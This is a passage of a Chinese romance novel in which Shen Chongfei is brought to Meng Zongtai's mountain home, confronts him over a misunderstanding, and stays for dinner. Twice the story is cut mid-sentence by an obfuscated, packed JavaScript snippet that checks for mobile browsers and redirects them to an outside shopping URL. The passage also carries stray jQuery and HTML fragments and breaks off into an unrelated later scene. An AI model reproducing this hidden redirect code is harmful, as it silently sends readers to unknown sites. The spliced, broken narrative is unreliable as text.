宾利驶上东三环。天气不好,天空灰蒙蒙,像一团团灰鸽子聚在一起哀悼什么。大约也是她心哀,所以看什么都哀。 沈冲扉原本严阵以待,但随着平稳的驾驶,她渐渐头歪了下来,睡过去。 没办法,她每天早上五点起床练英语,上了一早上四节专业课后又马不停蹄来了公司,到这个点,再年轻的身体也疲了乏了。 这一睡不知多久,醒来天幕已黑,道路上的车流游龙不见了,时速表接近一百二。 出城了? 沈冲扉噌地一下坐直:“你送我去哪儿?” 司机倒是没藏着掖着,报了个如雷贯耳的地名。 没多少会儿,车速降了下来,经过了两次例行的身份盘查,沈冲扉报了身份证号。这之后,车子拐上了一条山路。 茂密的山林和充沛的水系,让这里的湿度比城内高了不少。沈冲扉揿下窗户,一团轻柔的水汽顿时随风涌进来,触及她的面庞。 是雾。 她深呼吸,嗅到竹子的青涩。不是刚刚看鸽子哀悼的心情了,莫名的居然放松下来。 果然是干部严选之地,能量场就是干净。沈冲扉心想。 山路平缓宽阔,一道又一道,终于到顶,直接驶进室内停车位。 司机为她刷卡打开门,鞠了一躬:“沈小姐请。” 换了人来迎。是个有点年纪的保姆,是副慈面孔,但又不经意会透出严厉,不似普通帮佣。 她自我介绍说叫桂枝,叫她桂妈就好。 “孟先生临时有些事,您先在他书房稍坐。备了些豌豆黄,猜您爱吃。” 沈冲扉还真爱吃豌豆黄,上次在私房菜馆,四块全进她嘴里了。 偌大的房子没几个人,脚步声响得让人觉得寂寞。忽然一阵翅膀扑腾的声音近了,沈冲扉抬头,见一只尾巴正红的鹦鹉落到了栖架上。 “欢迎!欢迎!” 桂妈闻声,略有些不自然地看了身后这姑娘一眼。 沈冲扉不察,只好奇地看鸟,说:“它怎么这么热情呀。” 确实热情,围着她上下扑棱,歪脑袋,嚷了好几次“欢迎,欢迎欢迎!”,感觉很亢奋。 “人来疯。”桂妈打圆场说,“它叫存直。” “存直?”沈冲扉重复,喃喃。 心率陡然高了,一个红色陡峰——她记得深刻,那位孟先生的名字,叫存退。 “它可三十八了,资格老着呢。”桂妈笑道。 可惜她说什么沈冲扉也听不进去了,太阳穴嗡嗡地响,手脚冰凉。 一个存直,一个存退,会这么巧么?还恰好在姓孟的地盘。 桂妈将她带到了二楼的书房,那儿有一间小会客厅,请她坐下。热茶和茶点已备好,说:“孟先生但凡忙完了,就过来陪姑娘吃饭。”</p ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17715095|207838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' > 竟没有那种高门大户管事的那种距离感,说得亲热客气,还很接地。 沈冲扉看着茶几上的京八件,与那日私房菜馆的如出一辙,不同的是,豌豆黄给了八块——翻了一番。 如果说刚刚的心跳是一个异军突起的珠峰,那这会儿持续地居高不下,竟成绵延的世界屋脊了。 青藏高原也不如她现在体内氧气稀薄。 难道,六姐的孟先生,就是孟存退?也就是说,咄咄逼人着要奶奶的四合院的,也是他?阴差阳错害得她入了圈的,竟是他?那么一直以来对她的境遇心知肚明却装聋作哑,还祝她大红大紫……原来是恶劣的捉弄。 沈冲扉握着杯子,直至茶冷了也没喝上一口。 假如真是他,她该恨他憎他厌他唾弃他,但轻轻低头往心里一瞥,却觉得空空如也,什么情绪都没有,只剩一颗通红的心,一鼓一鼓。 走廊边忽然有了响动,接着门就被推开了,快得沈冲扉来得及整理表情。 她双目明亮神情慌张,抬头望过去—— 不是孟存退。 是张年轻的生面孔。 还没来得及品味到失望,一股恶感就铺天盖地全涌了上来,沈冲扉放下茶杯,起身,虽然极力克制,但面孔已经冷得有些失礼:“孟先生。” 她点了点头,当作问候。 对面饶有趣味地盯着她,将她上下打量一眼:“沈小姐。” 孟宗彦今天来他堂哥这儿谈事,听说他约了个姑娘回来吃饭,死活要看看。 是挺面善的,不是外面那种不三不四的女人,就是有点儿显小。 这间会客室与书房打通,以拱门洞相连,但不设门页。 书房内,孟宗台将内参报纸轻轻压下,站在书桌边没动弹,唇角微勾。 听着够脾气的。 谁怎么惹她了? “不知道孟先生今天找我来,有什么事?”沈冲扉开门见山。 对面男人握拳抵唇咳嗽了两声,轻佻地说:“吃饭。” “我跟孟先生不熟,有话不妨直说。要是我有哪里得罪了您,也请您一并说了,以免我下次再犯。” 完了。 六姐教给她的,她全忘了。什么谨言慎行、审时度势、低头卖乖,统统抛了个干净。是头猪也能听出来她态度不善。 孟宗彦这戏演到这儿也浑演不下去了。他哪知道他堂哥跟这姑娘的小九九? 摸摸鼻子:“那什么,你现在就挺得罪我的。” 沈冲扉吞咽了一下。 不是孟存退,也不是权欲熏心的老东西,是个小二世祖。但年轻人也许更讲道理。 沈冲扉将腹内草稿一条一条说出来: “既然这样,正好孟先生也给我六姐打过电话做过指示了,您要雪藏我不是么?我身微力薄,甘拜下风。” “……” 好有文化。孟宗彦心想。 “至于我出道坏了您谋求沈家四合院的大计,我也相当于以我的雪藏向您赔礼了。女之耽兮,不可说也,相信孟先生也足够解气了。” “……” 好有文化。孟宗彦第二次心想。 沈冲扉再度微微欠身:“请您谅解,四合院是我奶奶的命根子,她今年九十六了,命与这院子早已捆在了一起。老吾老以及人之老,请孟先生您高抬贵手,就此不要再惦记了。等我奶奶百年之后再谈吧。” “……” 孟宗彦哑口无言。 也不感叹有文化了,不然有点显得他没文化! 他知道这些话他是冤枉受了,但始作俑者也在书房听得一清二楚。 也不知道是什么表情。孟宗彦有些幸灾乐祸,还有些心疼眼前这姑娘。铆足了劲儿摆出不卑不亢的姿态,实则一双手却微微发抖。 沈冲扉有条有理地说完,长舒一口气,冰凉指尖抄起手机:“这里地方偏,劳您再找一辆车送我。” 她从起先桂妈带她进来的那扇门出去,粉色裙裾轻扬。 地毯厚重,隔绝了一切软皮鞋脚步声。 孟宗彦瞪大了眼,看着从书房出来的男人俯身,抄起了茶几上一个软羊皮手袋。 “沈小姐,包忘拿了。” 沈冲扉定住。 这声音咬字…… 孟宗台拿着她的手拿包,一手插兜,漫不经心地提着唇:“还有,饭没吃,你走什么?” 沈冲扉猛地一回头,在看见他的那一刻,不知是哪里作祟,居然眼泪就这么涌了出来。 这是个混蛋!混蛋! 12.第 12 章 也许她这场眼泪是注定要属于他的,上次赠镯子时他不在,所以才今天归还,且流得比上次更汹涌、更不争气。 她刹那间什么都明白了。 迟来的怨憎也终于到达了她的心头。 她没法不恨他,以权谋私,自私贪婪,漫不经心地搅弄她的命运,又躲在一边自以为是地看戏。 他以为他是谁。 孟宗彦见不得女人哭,想上去哄,但瞥了眼孟宗台后,又不敢造次了。 他吃不准他兄长现在的心情。拿着女人的包,一手递着,一手抄兜,站姿倜傥到甚至有丝风流,然而周身气息却很深沉,目光停在这女人身上,晦暗得让人看不清。 沈冲扉没有眨眼,倔强地蓄着泪,仿佛没流下来就不算哭,别人就不会发现她哭了似的。 是以她也没能看清孟宗台的神色。 她也顾不上看他了。 她也不愿看他了。 到了孟宗台跟前,轻薄的堤坝终于承受不住,眼泪珠子断了线似的一颗颗往下砸。 她没说话没打招呼,一把扯过包。 这只软包在孟宗台手里纹丝不动。 沈冲扉又用力扯了一下,仍没动,眼泪却是砸在了孟宗台挽起袖口的小臂上。 温热的,湿润的。 就算是砸在了青筋上,一滴眼泪也不该有这样的力度,让他心口微麻。 孟宗台几乎未及细想就顺着包施了力气,将她顺势往前带了半步,另一手扣住了她手腕。 这一扣,既止住了她继续往前跌,跌到他怀里,又断了她往后退、退出他臂长能及,真正是让她进退不得。 他的手心滚烫有力,沈冲扉一颗心都在胸腔里炸开。 这是什么样的感觉,她后来一直、一直反复回到这一刻,似乎用尽一生都不够找到恰当的形容: 花苞顿开,初夏惊雷,嫩芽破土后滴在它脸上的第一滴雨。 ——穷尽一切词汇,其实不过是简单一句: 这是她今生第一次被男人这样对待。 “就这么急着走,包也顾不上?”他问了句很无关紧要的。 看出来她化妆了,但反而不快,眸色往下压了一压。 “不是我的,”沈冲扉将脸往旁边一撇,“心里没它,记不住。” 孟宗彦在一旁听着看着,心想可真乖,问什么答什么,还这么有鼻子有眼。 孟宗台端详了她片刻,眼神明显得比刚刚柔和了一分:“凡事总有第一次,多眷顾几次,就记得了。” 沈冲扉负隅顽抗:“孟先生还是把包还给我吧,只是借来为了见您这个大人物充场面的,我丢不起。” “怎么,是你的,你就随便丢了?” 沈冲扉点点头:“对。” “看来当沈小姐的东西,要做好被扫地出门的准备。” 沈冲扉不愿再跟他这样话里话外地周旋下去,将手一松,用手背潦草地擦了擦眼睛:“您是大人物,要是连这点小事也为难我的话,我也没办法了。” 看样子,她是要弃包而走。 孟宗彦看热闹看得就算身边死了人都不知道,冷不丁突然听到点名:“孟宗彦。” 他一个哆嗦。 “你可以出去了。” “……” 孟宗彦半点也不敢吭地滚了。 几乎是他背过身的那一瞬间,孟宗台手臂骤然用力,面无表情地将沈冲扉拉进了怀里。 “沈小姐,你对我有这么多误会,是走不成的。”他的声线沉着,带磁带颗粒,响在沈冲扉的耳畔。 隔着薄薄的衣料,他的掌心并不重,但热度还是从肩头漫开,顺着脊背一寸寸沉下去。而她满脸是泪,呼吸也是潮的,像一张刚淋过雨的纸,被他的手掌、手臂、怀抱温度慢慢地煨着,烘着。 没有过这种强度的接触,沈冲扉整个儿偃旗息鼓,是被自个儿的眼泪浇成的一只落汤雀鸟,细密地发着抖,要在他的怀里感冒了。 孟宗台的这个半抱只持续了两秒。 确定她不闹了后,他就松了胳膊,垂眼看她须臾,抬起手,用食指指侧去沾她睫毛上的泪,轻轻拭过。 “不是你以为的这样。” 他不带情绪地说,不必她问:“院子是你六姐自己要给我,我没要。你六姐的危机确实是我解的,但不用好处,举手之劳。对于你进圈的事,我一无所知,也没想过雪藏你。” 所有的误会,都在他这么漫不经心的几句中尽数瓦解。 “我本来也想问你,接近我是不是因为你六姐的安排,不过现在看来不用了。” 沈冲扉消化了半天,蹦出来一句:“谁接近你了……” 丢董其昌给她,吃饭,送镯子,哪一件里有她主动的成分。 孟宗台:“……” 是不冤。 “那今天让我来,又是为了什么呢?”沈冲扉偏着脸问,仍不肯正视他,“弄得我六姐这么如临大敌。” 孟宗台的眼神将她从头到脚扫了一通,缓慢的,明确的。 沈冲扉咕咚吞咽一下。她能感到他的目光从她眉眼落到裙摆,又慢慢回到她脸上。 看得并不冒犯,像量体裁衣时落在身上的那一截软尺,隔着空气量过她的肩、腰与裙线,明明没触碰,却让她连指尖都不知道该往哪里放。 “怎么个如临大敌?”他收回目光,意味深长地问,“化妆?还是换裙子?” 沈冲扉抿抿唇,感觉到了他的不高兴,又不知道他在不高兴什么。 “谁给你挑的裙子?”他问。 “六姐。” 沈黎霜就这品味,不知道是怎么混出头的。 “不如你自己的衣服。” 听他这么说,沈冲扉有些失落,慢吞吞地“哦”了一声。 “谁给你化的妆?”孟宗台又问。 “化妆师。专业的。”沈冲扉有点尴尬,手上没事找事,将头发抿到耳后。一想到耳朵烧着,就又赶紧拨散了放下来。 咳嗽两声,此地无银三百两。 孟宗台勾了勾唇:“你六姐也不是全然不顾你。” “哎?” “这个妆既没有加分,就不如不化,天然去雕饰。这条裙子,”孟宗台略一停顿,“也挺土。” “……………………” 脸上燥热极了!还以为他那么认真看她,是因为今天她不一样,今天好看,结果居然是差评。 恶语伤人心,沈冲扉抿了抿唇,也忘了尊敬他捧着他,咕哝了一句:“你好烦。” 很轻很轻,比起怨,更像娇。 孟宗台唇角轻动,眼底先松了。 氛围好端端地坏了起来。还不如刚刚那样剑拔弩张呢。 沈冲扉悄悄搓了搓指尖,缓解神经,“你、你还没说叫我过来干嘛呢。” “见你啊。”孟宗台的回答简单到略显随便,落字沉晰,尾巴的那个语气词几乎听不到,但让整句有了天经地义之感。 沈冲扉站在他面前,用力地捏起拳。 坏了坏了坏了……虽然,她不知道到底坏了些什么。 好在孟宗台放过了她,当起合格的东道主:“桂妈准备了晚饭,抱歉让你等到现在。” “饭饭就免了吧,孟先生。”沈冲扉磕巴了一下,沉默住。 “饭,就免了。”她重新一字一句地吐字说。 “看来是还有气。”孟宗台略挑眉,虚心请教的模样:“一起告诉我。” 孟宗彦在隔壁书房都听呆了。当然,他从没觉得他堂哥是个脾气很大的人,大部分情况下,他将他的情绪、思虑都收敛得了无痕迹,让静和沉成为他水到渠成的距离。但这不代表他是个好人。不代表他是个耐心上佳、有求必应,还会给情绪价值的好男人。 他既问,沈冲扉便说了:“为什么让刚刚那个人假装你?” “他比我腿脚快,你又先认了。” “他知道我认错也不说,难道不是你的授意?” “那是他的错,他是应该给你道歉。” 孟宗彦脑袋顶出了问号。 妈呀大哥! 沈冲扉打破砂锅问到底:“那你也都听到我误会了吧,为什么不走出来打断?” 这一问让孟宗台静了一下,目光停在她脸上片刻。她自始至终不肯抬头,从他视角望去,只能看到她浓密的睫毛和睫影,一个微微翘起的鼻尖像粒玉蚕豆。 “想听听你的真想法。”他认了自己的居心叵测,“担心你面对我,有些话说不出口。” 沈冲扉将脸撇向一边,打死不承认:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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老许被派去送他下山,有种被发配边疆的味道。浓雾里,两人各有各的琢磨。一个寻思着要不要给大伯母通风报信——这是孟宗台婚姻的主簿大人,另一个则想着这一晚上都没想通的问题——不是不跟娱乐圈的人扯关系吗,不是都说结束了吗?! 雾气渐渐让风也沉了,顺着窗户裹进来,桂妈将三面窗户都关上,于是林间的涛声风声顿消,愈发显得室内很安静。 沈冲扉没再说什么,事已至此,吃饭就吃饭吧。 她吃得很节制,孟宗台注意到了,不动声色地压着,没问。他原本中意她吃饭很香,连带着让他也胃口足了起来,今天却陪她早早放了筷。 “吃点主食。”他提醒她。 孙蕾下了任务,第一次上镜前要瘦十斤。沈冲扉口是心非:“饱了……” 实则小腹还扁着的。 孟宗台没说什么,从餐室离开时,附耳交代桂妈去准备点莜面,稍晚点给沈冲扉端过来。 莜面的成分是燕麦,他的营养师很推荐。 沈冲扉不察,想着该下山了。 孟宗台推开了阳台门。 雾浓得出人意料,将夜色浸得发白,连阳台尽端也被隐没。下方泳池亮着灯,蓝莹莹的一池,像雾里悬着的一块冷玉。 “介不介意晚点下山?” 孟宗台低头点烟,火光在雾里亮了一下。 沈冲扉心间一紧。仿佛早已知道他会有此一问,又怕他真有此一问。真问了,她也说不上不情愿。 但还是说:“介意。”停顿了一下,又说:“还介意抽烟。” 胆子真大。 孟宗台烟品良好,从不在禁止吸烟的地方违规违纪。但这是他自己家不是么? 他掸掸烟管,将烟从嘴角取了下来,夹在指尖,腕搭在栏杆上。 浓重的湿气让烟雾变得有形,像他的眼神。 他歪着脸看她:“只能挑一件事介意。” 接着,没等她选,他看着她的双眼,把烟从指尖轻巧地弹了出去,弹到了下方蓝莹莹的泳池水里。